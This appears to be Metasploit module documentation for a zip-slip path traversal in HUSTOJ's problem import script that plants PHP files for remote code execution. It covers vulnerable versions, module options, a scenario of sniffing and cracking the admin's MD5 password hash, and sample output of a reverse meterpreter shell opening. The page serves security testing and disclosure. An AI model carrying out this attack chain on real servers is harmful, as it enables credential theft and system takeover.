## Vulnerable Application

We can get the HUSTOJ suite on [GitHub](https://github.com/zhblue/hustoj) but I suggest just grabbing the ISO for a vulnerable version
from their [cdn mirror](http://cdn.m.hustoj.com:8090/).

This was tested with the ISO labeled `HUSTOJ25.05.iso` (sha1 eb13c7ba2749ad28de98cd4641563700139abc03).
Everything in the GitHub repo before the commit
[89044beb4cea758a353fd133895dec76822f4ddc](https://github.com/zhblue/hustoj/tree/89044beb4cea758a353fd133895dec76822f4ddc) is vulnerable.
Installation is straightforward using the iso.
Boot the live image, make sure networking settings are set to bridged adapter, use `ip a` to grab the IP of the VM.
Then to set it up, simply browse to it at http://<IP_ADDRESS>/, and create a new user with the username `admin` and
whatever passphrase you like.
The vulnerable php script on HUSTOJ is /admin/problem_import_qduoj.php, which is used to import problems into the HUSTOJ system.
The vulnerable code is in the `import_json` function,
[diff here](https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d4236899314b33101f),
which is called when importing. It tries to unzip the uploaded file, however fails to sanitize the paths extracted from
the zip file, allowing for a path traversal.
This lets you plant your own `.php` files into the webroot, leading to system compromise.

## Verification Steps

1. Install the Application
2. Create the "admin" user with your own password
3. Start msfconsole and use the exploit/linux/http/hustoj_problem_import_rce module
4. Set the variables RHOST, LHOST, RPORT, USERNAME, and PASSWORD
5. Run `exploit` to get a shell

## Options

### USERNAME

The username of the admin account you created during setup, default is "admin".

### PASSWORD

The password of the admin account you created during setup.

### TRIGGER_WAIT

The number of seconds to wait for the reverse shell call, default is 2.

### TRAVERSE_LIMIT

How many directories we traverse back in the zip slip. Default is 6.

### DROPFILE

The name of the dropped files on the webserver. Default is random.

### SERVLOC

The path HUSTOJ is installed at (minus the subsequent /src/web) Defaults to /home/judge.

### FORCE

Try to exploit even if earlier checks suggest it will fail. Options are true and false.

### TARGET

There are two major versions vulnerable, you can select 1 or 2 to select between them. Selecting 0 means auto-detect.

## Scenarios

As HUSTOJ runs on port 80, unencrypted HTTP traffic is trivial to intercept using things like ARP spoofing and tcpdump.

You could acquire the Adminstrator's passphrase hash using the packet sniffer, crack it with john or hashcat (it is md5).

We would then use that to log in, use the exploit to upload the malicious zip file to get a reverse meterpreter shell.

## Version and OS Information

Tested on HUSTOJ version 25.05, however, versions below 26.01.24 are vulnerable.

This was tested running on the Ubuntu LiveCD.

If vulnerable, the output of the exploit should look similar to:

```
msf exploit(local/test/hustoj_problem_import_rce) > exploit
[*] Started reverse TCP handler on 10.0.1.35:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Payload generated!                         linux/x86/meterpreter_reverse_tcp
[*] Random payload tag                         199ba
[+] Zip file generated!                        Files: 6
[+] Connected to the target webserver!         10.0.1.23:80
[+] Logged in successfully!                    admin:***********
[+] This is an admin account!                  res.body includes problem_import.php
[*] Uploading the payload...                   552.93kb
[+] Accessed the problem import page!          /admin/problem_import.php
[+] Payload uploaded!                          msf.zip
[*] This is where the zipslip happens...       ../../../../../../ (levels: 6)
[*] Triggering the php script...               msf-199ba.php
[*] Meterpreter session 1 opened (10.0.1.35:4444 -> 10.0.1.23:35738) at 2026-02-21 10:25:56 -0500
[*] Cleaning up the payload caller and shell files...
[+] Boom!! Have fun!

meterpreter >
```
